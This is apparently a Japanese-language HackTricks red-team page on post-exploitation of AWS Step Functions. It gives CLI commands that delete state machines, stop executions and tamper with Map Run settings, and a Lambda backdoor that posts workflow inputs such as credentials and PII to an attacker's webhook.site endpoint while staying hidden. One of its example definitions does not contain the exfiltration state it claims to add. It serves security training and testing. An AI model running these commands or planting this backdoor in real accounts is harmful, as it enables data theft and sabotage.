AWS - Step Functions Post Exploitation

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Step Functions

このAWSサービスに関する詳細情報は、以下を確認してください:

AWS - Step Functions Enum

states:RevealSecrets

この権限は実行内の秘密データを明らかにすることを許可します。そのためには、Inspection levelをTRACEに設定し、revealSecretsパラメータをtrueにする必要があります。

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

これらの権限を持つ攻撃者は、ステートマシン、そのバージョン、およびエイリアスを永久に削除することができます。これにより、重要なワークフローが中断され、データ損失が発生し、影響を受けたステートマシンの回復と復元に多大な時間が必要となる可能性があります。さらに、攻撃者は使用した痕跡を隠し、法医学的調査を妨害し、重要な自動化プロセスやステート構成を削除することで、業務を麻痺させる可能性があります。

note

  • ステートマシンを削除すると、その関連するすべてのバージョンとエイリアスも削除されます。
  • ステートマシンエイリアスを削除しても、このエイリアスを参照しているステートマシンバージョンは削除されません。
  • 現在1つ以上のエイリアスによって参照されているステートマシンバージョンを削除することはできません。
bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • 潜在的な影響: 重要なワークフローの中断、データ損失、および運用のダウンタイム。

states:UpdateMapRun

この権限を持つ攻撃者は、Map Runの失敗設定と並行設定を操作でき、許可される子ワークフロー実行の最大数を増減させることができ、サービスのパフォーマンスに直接影響を与えます。さらに、攻撃者は許容される失敗率とカウントを改ざんでき、この値を0に減少させることができるため、アイテムが失敗するたびに全体のマップランが失敗し、状態マシンの実行に直接影響を与え、重要なワークフローを中断させる可能性があります。

bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • 潜在的な影響: パフォーマンスの低下と重要なワークフローの中断。

states:StopExecution

この権限を持つ攻撃者は、任意のステートマシンの実行を停止でき、進行中のワークフローやプロセスを中断させる可能性があります。これにより、未完了のトランザクション、停止したビジネスオペレーション、潜在的なデータの破損が発生する可能性があります。

warning

このアクションはエクスプレスステートマシンではサポートされていません。

bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • 潜在的な影響: 継続中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。

states:TagResource, states:UntagResource

攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。

bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

潜在的な影響: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。


states:UpdateStateMachine, lambda:UpdateFunctionCode

次の権限を持つユーザーまたはロールを侵害した攻撃者:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...は、LambdaのバックドアとStep Functionのロジック操作を組み合わせることで、高影響かつステルスなポストエクスプロイテーション攻撃を実行できます。

このシナリオは、被害者がAWS Step Functionsを使用して、資格情報、トークン、またはPIIなどの機密入力を処理するワークフローをオーケストレーションしていることを前提としています。

例としての被害者の呼び出し:

bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

もしStep FunctionがLegitBusinessLogicのようなLambdaを呼び出すように設定されている場合、攻撃者は2つのステルス攻撃バリアントを進めることができます:


ラムダ関数の更新

攻撃者は、Step Functionによって既に使用されているLambda関数(LegitBusinessLogic)のコードを修正し、入力データを静かに外部に流出させます。

python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

ステップ関数に悪意のある状態を追加する

代わりに、攻撃者はステップ関数の定義を更新することで、ワークフローの最初にエクスフィルトレーション状態を挿入することができます。

malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

攻撃者は、状態定義を次のように更新することで、さらにステルス性を高めることができます。 { "Comment": "Exfiltrationのためにバックドアを仕込む", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } 被害者は違いに気づかないでしょう。


被害者のセットアップ(エクスプロイトのコンテキスト)

  • ステップ関数(LegitStateMachine)は、機密のユーザー入力を処理するために使用されます。
  • それは、LegitBusinessLogicなどの1つ以上のLambda関数を呼び出します。

潜在的な影響:

  • 秘密、資格情報、APIキー、PIIを含む機密データの静かな抽出。
  • ワークフロー実行における目に見えるエラーや失敗はありません。
  • Lambdaコードや実行トレースを監査しない限り、検出が困難です。
  • バックドアがコードやASLロジックに残っている場合、長期的な持続性を可能にします。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする